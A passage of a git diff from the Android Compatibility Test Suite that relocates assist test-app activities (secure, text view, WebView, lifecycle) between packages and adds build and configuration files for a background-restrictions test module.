+import android.view.ViewTreeObserver.OnGlobalLayoutListener;
+import android.view.WindowManager;
+
+public class SecureActivity extends Activity {
+    static final String TAG = "SecureActivity";
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        Log.i(TAG, "SecureActivity created");
+        setContentView(R.layout.secure_app);
+        getWindow().setFlags(WindowManager.LayoutParams.FLAG_SECURE,
+            WindowManager.LayoutParams.FLAG_SECURE);
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        Log.i(TAG, "Activity has resumed");
+        final View layout = findViewById(android.R.id.content);
+        ViewTreeObserver vto = layout.getViewTreeObserver();
+        vto.addOnGlobalLayoutListener(new OnGlobalLayoutListener() {
+            @Override
+            public void onGlobalLayout() {
+                layout.getViewTreeObserver().removeOnGlobalLayoutListener(this);
+                sendBroadcast(new Intent(Utils.FLAG_SECURE_HASRESUMED));
+            }
+        });
+    }
+}
diff --git a/tests/tests/assist/testapp/src/android/assist/testapp/TestApp.java b/tests/tests/assist/testapp/src/android/assist/testapp/TestApp.java
new file mode 100755
index 0000000..3649f81
--- /dev/null
+++ b/tests/tests/assist/testapp/src/android/assist/testapp/TestApp.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.assist.testapp;
+
+import android.app.Activity;
+import android.assist.common.Utils;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.View;
+import android.view.ViewTreeObserver;
+import android.view.ViewTreeObserver.OnGlobalLayoutListener;
+
+public class TestApp extends Activity {
+    static final String TAG = "TestApp";
+
+    private String mTestCaseName;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        Log.i(TAG, "TestApp created");
+        mTestCaseName = getIntent().getStringExtra(Utils.TESTCASE_TYPE);
+        switch (mTestCaseName) {
+            case Utils.LARGE_VIEW_HIERARCHY:
+                setContentView(R.layout.multiple_text_views);
+                return;
+            default:
+                setContentView(R.layout.test_app);
+        }
+    }
+
+    @Override
+    public void onResume() {
+        super.onResume();
+        Log.i(TAG, "TestApp has resumed");
+        final View layout = findViewById(android.R.id.content);
+        ViewTreeObserver vto = layout.getViewTreeObserver();
+        vto.addOnGlobalLayoutListener(new OnGlobalLayoutListener() {
+            @Override
+            public void onGlobalLayout() {
+                layout.getViewTreeObserver().removeOnGlobalLayoutListener(this);
+                sendBroadcast(new Intent(Utils.APP_3P_HASRESUMED));
+            }
+        });
+    }
+
+    public void onEnterAnimationComplete() {
+        Log.i(TAG, "TestApp onEnterAnimationComplete ");
+        sendBroadcast(new Intent(Utils.APP_3P_HASDRAWED));
+    }
+
+}
\ No newline at end of file
diff --git a/tests/tests/assist/testapp/src/android/assist/testapp/TextViewActivity.java b/tests/tests/assist/testapp/src/android/assist/testapp/TextViewActivity.java
new file mode 100644
index 0000000..c031292
--- /dev/null
+++ b/tests/tests/assist/testapp/src/android/assist/testapp/TextViewActivity.java
@@ -0,0 +1,110 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.assist.testapp;
+
+import android.app.Activity;
+import android.assist.common.Utils;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.text.method.ScrollingMovementMethod;
+import android.util.Log;
+import android.view.View;
+import android.view.ViewTreeObserver;
+import android.view.ViewTreeObserver.OnGlobalLayoutListener;
+import android.widget.ScrollView;
+import android.widget.TextView;
+
+public class TextViewActivity extends Activity {
+    static final String TAG = "TextViewActivity";
+
+    private BroadcastReceiver mReceiver;
+    private TextView mTextView;
+    private ScrollView mScrollView;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        Log.i(TAG, "TextViewActivity created");
+        setContentView(R.layout.text_view);
+        mScrollView = (ScrollView) findViewById(R.id.scroll_view);
+        mTextView = (TextView) findViewById(R.id.text_view);
+        mTextView.setMovementMethod(new ScrollingMovementMethod());
+    }
+
+    @Override
+    public void onResume() {
+        super.onResume();
+        Log.i(TAG, "TextViewActivity has resumed");
+
+        mReceiver = new ScrollReceiver();
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(Utils.SCROLL_TEXTVIEW_ACTION);
+        filter.addAction(Utils.SCROLL_SCROLLVIEW_ACTION);
+        registerReceiver(mReceiver, filter);
+
+        final View layout = findViewById(android.R.id.content);
+        ViewTreeObserver vto = layout.getViewTreeObserver();
+        vto.addOnGlobalLayoutListener(new OnGlobalLayoutListener() {
+            @Override
+            public void onGlobalLayout() {
+                layout.getViewTreeObserver().removeOnGlobalLayoutListener(this);
+                sendBroadcast(new Intent(Utils.APP_3P_HASRESUMED));
+            }
+        });
+    }
+
+    @Override
+    public void onPause() {
+        if (mReceiver != null) {
+            unregisterReceiver(mReceiver);
+        }
+        super.onPause();
+    }
+
+    class ScrollReceiver extends BroadcastReceiver {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            int scrollX, scrollY;
+            scrollX = intent.getIntExtra(Utils.SCROLL_X_POSITION, 0);
+            scrollY = intent.getIntExtra(Utils.SCROLL_Y_POSITION, 0);
+            if (intent.getAction().equals(Utils.SCROLL_TEXTVIEW_ACTION)) {
+                Log.i(TAG, "Scrolling textview to (" + scrollX + "," + scrollY + ")");
+                if (scrollX < 0 || scrollY < 0) {
+                    // Scroll to bottom as negative positions are not possible.
+                    scrollX = mTextView.getWidth();
+                    scrollY = mTextView.getLayout().getLineTop(mTextView.getLineCount())
+                            - mTextView.getHeight();
+                }
+                TextViewActivity.this.mTextView.scrollTo(scrollX, scrollY);
+            } else if (intent.getAction().equals(Utils.SCROLL_SCROLLVIEW_ACTION)) {
+                Log.i(TAG, "Scrolling scrollview to (" + scrollX + "," + scrollY + ")");
+                if (scrollX < 0 || scrollY < 0) {
+                    // Scroll to bottom
+                    TextViewActivity.this.mScrollView.fullScroll(View.FOCUS_DOWN);
+                    TextViewActivity.this.mScrollView.fullScroll(View.FOCUS_RIGHT);
+                } else {
+                    TextViewActivity.this.mScrollView.scrollTo(scrollX, scrollY);
+                }
+            }
+            Log.i(TAG, "the max height of this textview is: " + mTextView.getHeight());
+            Log.i(TAG, "the max line count of this text view is: " + mTextView.getMaxLines());
+        }
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/assist/testapp/src/android/assist/testapp/WebViewActivity.java b/tests/tests/assist/testapp/src/android/assist/testapp/WebViewActivity.java
new file mode 100644
index 0000000..c62bf97
--- /dev/null
+++ b/tests/tests/assist/testapp/src/android/assist/testapp/WebViewActivity.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.assist.testapp;
+
+import android.app.Activity;
+import android.assist.common.MyWebView;
+import android.assist.common.Utils;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+import android.webkit.WebView;
+import android.webkit.WebViewClient;
+
+public class WebViewActivity extends Activity {
+    static final String TAG = "WebViewActivity";
+
+    private String mTestCaseName;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        Log.i(TAG, "TestApp created");
+        mTestCaseName = getIntent().getStringExtra(Utils.TESTCASE_TYPE);
+        setContentView(R.layout.webview);
+        MyWebView webview = (MyWebView) findViewById(R.id.webview);
+        webview.setWebViewClient(new WebViewClient() {
+            @Override
+            public void onPageFinished(WebView view, String url){
+                sendBroadcast(new Intent(Utils.APP_3P_HASRESUMED));
+            }
+        });
+        webview.myLoadData(Utils.WEBVIEW_HTML_URL, Utils.WEBVIEW_HTML, "text/html", "UTF-8");
+        webview.setLocaleList(Utils.WEBVIEW_LOCALE_LIST);
+        //webview.loadUrl(
+        //        "https://android-developers.blogspot.com/2015/08/m-developer-preview-3-final-sdk.html");
+    }
+}
diff --git a/tests/tests/assist/testapp/src/android/voiceinteraction/testapp/ExtraAssistDataActivity.java b/tests/tests/assist/testapp/src/android/voiceinteraction/testapp/ExtraAssistDataActivity.java
deleted file mode 100644
index 57d34f8..0000000
--- a/tests/tests/assist/testapp/src/android/voiceinteraction/testapp/ExtraAssistDataActivity.java
+++ /dev/null
@@ -1,65 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.assist.testapp;
-
-import android.app.Activity;
-import android.app.assist.AssistContent;
-import android.assist.common.Utils;
-import android.content.Intent;
-import android.os.Bundle;
-import android.util.Log;
-
-import org.json.JSONException;
-import org.json.JSONObject;
-
-import java.lang.Override;
-
-/**
- * Test the onProvideAssistData and onProvideAssistContent methods activities may override to
- * provide extra information to the assistant. Verify that the data passed from the activity matches
- * the data received in {@link android.service.voice.VoiceInteractionSession}.
- */
-public class ExtraAssistDataActivity extends Activity {
-    private static final String TAG = "ExtraAssistDataActivity";
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-    }
-
-    @Override
-    public void onProvideAssistData(Bundle data) {
-        super.onProvideAssistData(data);
-        Log.i(TAG, "onProvideAssistData");
-        Utils.addExtraAssistDataToBundle(data);
-    }
-
-    @Override
-    public void onProvideAssistContent(AssistContent outContent) {
-        super.onProvideAssistContent(outContent);
-        Log.i(TAG, "onProvideAssistContent");
-        try {
-            outContent.setStructuredData(Utils.getStructuredJSON());
-        } catch (Exception e) {
-            Log.i(TAG, "Failed to get Structured JSON to put into the AssistContent.");
-        }
-    }
-
-    @Override
-    public void onResume() {
-        super.onResume();
-        sendBroadcast(new Intent(Utils.APP_3P_HASRESUMED));
-    }
-}
\ No newline at end of file
diff --git a/tests/tests/assist/testapp/src/android/voiceinteraction/testapp/LifecycleActivity.java b/tests/tests/assist/testapp/src/android/voiceinteraction/testapp/LifecycleActivity.java
deleted file mode 100644
index af10f99..0000000
--- a/tests/tests/assist/testapp/src/android/voiceinteraction/testapp/LifecycleActivity.java
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.assist.testapp;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.os.Bundle;
-import android.util.Log;
-
-public class LifecycleActivity extends Activity {
-    private static final String TAG = "LifecycleActivity";
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        Log.i(TAG, "LifecycleActivity created");
-    }
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-        Log.i(TAG, "Activity has resumed");
-        sendBroadcast(new Intent("android.intent.action.lifecycle_hasResumed"));
-    }
-
-    @Override
-    protected void onPause() {
-        Log.i(TAG, "activity was paused");
-        sendBroadcast(new Intent("android.intent.action.lifecycle_onpause"));
-        super.onPause();
-    }
-
-    @Override
-    protected void onStop() {
-        Log.i(TAG, "activity was stopped");
-        sendBroadcast(new Intent("android.intent.action.lifecycle_onstop"));
-        super.onStop();
-    }
-
-    @Override
-    protected void onDestroy() {
-        Log.i(TAG, "activity was destroyed");
-        sendBroadcast(new Intent("android.intent.action.lifecycle_ondestroy"));
-        super.onDestroy();
-    }
-}
diff --git a/tests/tests/assist/testapp/src/android/voiceinteraction/testapp/ScreenshotActivity.java b/tests/tests/assist/testapp/src/android/voiceinteraction/testapp/ScreenshotActivity.java
deleted file mode 100644
index 581af2e..0000000
--- a/tests/tests/assist/testapp/src/android/voiceinteraction/testapp/ScreenshotActivity.java
+++ /dev/null
@@ -1,63 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.assist.testapp;
-
-import android.assist.common.Utils;
-
-import android.app.Activity;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.graphics.Color;
-import android.os.Bundle;
-import android.util.Log;
-import android.view.View;
-
-import java.lang.Override;
-
-public class ScreenshotActivity extends Activity {
-    static final String TAG = "ScreenshotActivity";
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        Log.i(TAG, "ScreenshotActivity created");
-        setContentView(R.layout.screenshot_activity);
-    }
-
-    @Override
-    public void onResume() {
-        Log.i(TAG, " in onResume");
-        super.onResume();
-        int backgroundColor = getIntent().getIntExtra(Utils.SCREENSHOT_COLOR_KEY, Color.WHITE);
-        View view = findViewById(R.id.screenshot_activity);
-        view.setBackgroundColor(backgroundColor);
-        view.requestLayout();
-
-        // Tell service activity is in foreground.
-        Intent intent = new Intent(Utils.APP_3P_HASRESUMED);
-        sendBroadcast(intent);
-        Log.i(TAG, "Resumed broadcast sent.");
-    }
-
-    @Override
-    public void onPause() {
-        Log.i(TAG, "onPause");
-        finish();
-        super.onPause();
-    }
-}
diff --git a/tests/tests/assist/testapp/src/android/voiceinteraction/testapp/SecureActivity.java b/tests/tests/assist/testapp/src/android/voiceinteraction/testapp/SecureActivity.java
deleted file mode 100644
index 708061e..0000000
--- a/tests/tests/assist/testapp/src/android/voiceinteraction/testapp/SecureActivity.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.assist.testapp;
-
-import android.assist.common.Utils;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.os.Bundle;
-import android.util.Log;
-
-import android.view.View;
-import android.view.ViewTreeObserver;
-import android.view.ViewTreeObserver.OnGlobalLayoutListener;
-import android.view.WindowManager;
-
-public class SecureActivity extends Activity {
-    static final String TAG = "SecureActivity";
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        Log.i(TAG, "SecureActivity created");
-        setContentView(R.layout.secure_app);
-        getWindow().setFlags(WindowManager.LayoutParams.FLAG_SECURE,
-            WindowManager.LayoutParams.FLAG_SECURE);
-    }
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-        Log.i(TAG, "Activity has resumed");
-        final View layout = findViewById(android.R.id.content);
-        ViewTreeObserver vto = layout.getViewTreeObserver();
-        vto.addOnGlobalLayoutListener(new OnGlobalLayoutListener() {
-            @Override
-            public void onGlobalLayout() {
-                layout.getViewTreeObserver().removeOnGlobalLayoutListener(this);
-                sendBroadcast(new Intent(Utils.FLAG_SECURE_HASRESUMED));
-            }
-        });
-    }
-}
diff --git a/tests/tests/assist/testapp/src/android/voiceinteraction/testapp/TestApp.java b/tests/tests/assist/testapp/src/android/voiceinteraction/testapp/TestApp.java
deleted file mode 100755
index 7ef9e8c..0000000
--- a/tests/tests/assist/testapp/src/android/voiceinteraction/testapp/TestApp.java
+++ /dev/null
@@ -1,80 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.assist.testapp;
-
-import android.assist.common.Utils;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.graphics.Bitmap;
-import android.os.Bundle;
-import android.util.Log;
-import android.view.View;
-import android.view.View.MeasureSpec;
-import android.view.ViewGroup;
-import android.view.ViewTreeObserver;
-import android.view.ViewTreeObserver.OnGlobalLayoutListener;
-
-import java.io.ByteArrayOutputStream;
-import android.os.Bundle;
-import android.util.Log;
-import android.view.View;
-import android.view.ViewTreeObserver;
-import android.view.ViewTreeObserver.OnGlobalLayoutListener;
-
-import java.lang.Override;
-
-public class TestApp extends Activity {
-    static final String TAG = "TestApp";
-
-    private String mTestCaseName;
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        Log.i(TAG, "TestApp created");
-        mTestCaseName = getIntent().getStringExtra(Utils.TESTCASE_TYPE);
-        switch (mTestCaseName) {
-            case Utils.LARGE_VIEW_HIERARCHY:
-                setContentView(R.layout.multiple_text_views);
-                return;
-            default:
-                setContentView(R.layout.test_app);
-        }
-    }
-
-    @Override
-    public void onResume() {
-        super.onResume();
-        Log.i(TAG, "TestApp has resumed");
-        final View layout = findViewById(android.R.id.content);
-        ViewTreeObserver vto = layout.getViewTreeObserver();
-        vto.addOnGlobalLayoutListener(new OnGlobalLayoutListener() {
-            @Override
-            public void onGlobalLayout() {
-                layout.getViewTreeObserver().removeOnGlobalLayoutListener(this);
-                sendBroadcast(new Intent(Utils.APP_3P_HASRESUMED));
-            }
-        });
-    }
-
-    public void onEnterAnimationComplete() {
-        Log.i(TAG, "TestApp onEnterAnimationComplete ");
-        sendBroadcast(new Intent(Utils.APP_3P_HASDRAWED));
-    }
-
-}
\ No newline at end of file
diff --git a/tests/tests/assist/testapp/src/android/voiceinteraction/testapp/TextViewActivity.java b/tests/tests/assist/testapp/src/android/voiceinteraction/testapp/TextViewActivity.java
deleted file mode 100644
index 9e57e9b..0000000
--- a/tests/tests/assist/testapp/src/android/voiceinteraction/testapp/TextViewActivity.java
+++ /dev/null
@@ -1,114 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.assist.testapp;
-
-import android.assist.common.Utils;
-
-import android.app.Activity;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.os.Bundle;
-import android.text.method.ScrollingMovementMethod;
-import android.util.Log;
-import android.view.LayoutInflater;
-import android.view.View;
-import android.view.ViewTreeObserver;
-import android.view.ViewTreeObserver.OnGlobalLayoutListener;
-import android.widget.ScrollView;
-import android.widget.TextView;
-
-import java.lang.Override;
-
-public class TextViewActivity extends Activity {
-    static final String TAG = "TextViewActivity";
-
-    private BroadcastReceiver mReceiver;
-    private TextView mTextView;
-    private ScrollView mScrollView;
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        Log.i(TAG, "TextViewActivity created");
-        setContentView(R.layout.text_view);
-        mScrollView = (ScrollView) findViewById(R.id.scroll_view);
-        mTextView = (TextView) findViewById(R.id.text_view);
-        mTextView.setMovementMethod(new ScrollingMovementMethod());
-    }
-
-    @Override
-    public void onResume() {
-        super.onResume();
-        Log.i(TAG, "TextViewActivity has resumed");
-
-        mReceiver = new ScrollReceiver();
-        IntentFilter filter = new IntentFilter();
-        filter.addAction(Utils.SCROLL_TEXTVIEW_ACTION);
-        filter.addAction(Utils.SCROLL_SCROLLVIEW_ACTION);
-        registerReceiver(mReceiver, filter);
-
-        final View layout = findViewById(android.R.id.content);
-        ViewTreeObserver vto = layout.getViewTreeObserver();
-        vto.addOnGlobalLayoutListener(new OnGlobalLayoutListener() {
-            @Override
-            public void onGlobalLayout() {
-                layout.getViewTreeObserver().removeOnGlobalLayoutListener(this);
-                sendBroadcast(new Intent(Utils.APP_3P_HASRESUMED));
-            }
-        });
-    }
-
-    @Override
-    public void onPause() {
-        if (mReceiver != null) {
-            unregisterReceiver(mReceiver);
-        }
-        super.onPause();
-    }
-
-    class ScrollReceiver extends BroadcastReceiver {
-        @Override
-        public void onReceive(Context context, Intent intent) {
-            int scrollX, scrollY;
-            scrollX = intent.getIntExtra(Utils.SCROLL_X_POSITION, 0);
-            scrollY = intent.getIntExtra(Utils.SCROLL_Y_POSITION, 0);
-            if (intent.getAction().equals(Utils.SCROLL_TEXTVIEW_ACTION)) {
-                Log.i(TAG, "Scrolling textview to (" + scrollX + "," + scrollY + ")");
-                if (scrollX < 0 || scrollY < 0) {
-                    // Scroll to bottom as negative positions are not possible.
-                    scrollX = mTextView.getWidth();
-                    scrollY = mTextView.getLayout().getLineTop(mTextView.getLineCount())
-                            - mTextView.getHeight();
-                }
-                TextViewActivity.this.mTextView.scrollTo(scrollX, scrollY);
-            } else if (intent.getAction().equals(Utils.SCROLL_SCROLLVIEW_ACTION)) {
-                Log.i(TAG, "Scrolling scrollview to (" + scrollX + "," + scrollY + ")");
-                if (scrollX < 0 || scrollY < 0) {
-                    // Scroll to bottom
-                    TextViewActivity.this.mScrollView.fullScroll(View.FOCUS_DOWN);
-                    TextViewActivity.this.mScrollView.fullScroll(View.FOCUS_RIGHT);
-                } else {
-                    TextViewActivity.this.mScrollView.scrollTo(scrollX, scrollY);
-                }
-            }
-            Log.i(TAG, "the max height of this textview is: " + mTextView.getHeight());
-            Log.i(TAG, "the max line count of this text view is: " + mTextView.getMaxLines());
-        }
-    }
-}
\ No newline at end of file
diff --git a/tests/tests/assist/testapp/src/android/voiceinteraction/testapp/WebViewActivity.java b/tests/tests/assist/testapp/src/android/voiceinteraction/testapp/WebViewActivity.java
deleted file mode 100644
index 59f96cb..0000000
--- a/tests/tests/assist/testapp/src/android/voiceinteraction/testapp/WebViewActivity.java
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.assist.testapp;
-
-import android.assist.common.Utils;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.os.Bundle;
-import android.util.Log;
-import android.view.View;
-import android.webkit.WebView;
-import android.webkit.WebViewClient;
-
-import java.lang.Override;
-
-public class WebViewActivity extends Activity {
-    static final String TAG = "WebViewActivity";
-
-    private String mTestCaseName;
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        Log.i(TAG, "TestApp created");
-        mTestCaseName = getIntent().getStringExtra(Utils.TESTCASE_TYPE);
-        setContentView(R.layout.webview);
-        WebView webview = (WebView) findViewById(R.id.webview);
-        webview.setWebViewClient(new WebViewClient() {
-            @Override
-            public void onPageFinished(WebView view, String url){
-                sendBroadcast(new Intent(Utils.APP_3P_HASRESUMED));
-            }
-        });
-        webview.loadData(Utils.WEBVIEW_HTML, "text/html", "UTF-8");
-        //webview.loadUrl(
-        //        "https://android-developers.blogspot.com/2015/08/m-developer-preview-3-final-sdk.html");
-    }
-}
diff --git a/tests/tests/background/Android.mk b/tests/tests/background/Android.mk
new file mode 100755
index 0000000..37791ce
--- /dev/null
+++ b/tests/tests/background/Android.mk
@@ -0,0 +1,43 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    android-support-v4 \
+    mockito-target-minus-junit4 \
+    compatibility-device-util \
+    ctstestrunner \
+    ub-uiautomator
+
+LOCAL_JAVA_LIBRARIES := android.test.runner
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsBackgroundRestrictionsTestCases
+
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_SDK_VERSION := test_current
+
+include $(BUILD_CTS_PACKAGE)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/background/AndroidManifest.xml b/tests/tests/background/AndroidManifest.xml
new file mode 100755
index 0000000..8db8f05
--- /dev/null
+++ b/tests/tests/background/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.app.cts.backgroundrestrictions">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+
+        <receiver android:name="MyReceiver" android:exported="true" />
+
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.app.cts.backgroundrestrictions"
+        android:label="CTS tests for background restrictions">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/background/AndroidTest.xml b/tests/tests/background/AndroidTest.xml
new file mode 100644
index 0000000..0330032
--- /dev/null
+++ b/tests/tests/background/AndroidTest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for background restrictions CTS test cases">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsBackgroundRestrictionsTestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.app.cts.backgroundrestrictions" />
+        <option name="runtime-hint" value="1m00s" />
+    </test>
+</configuration>
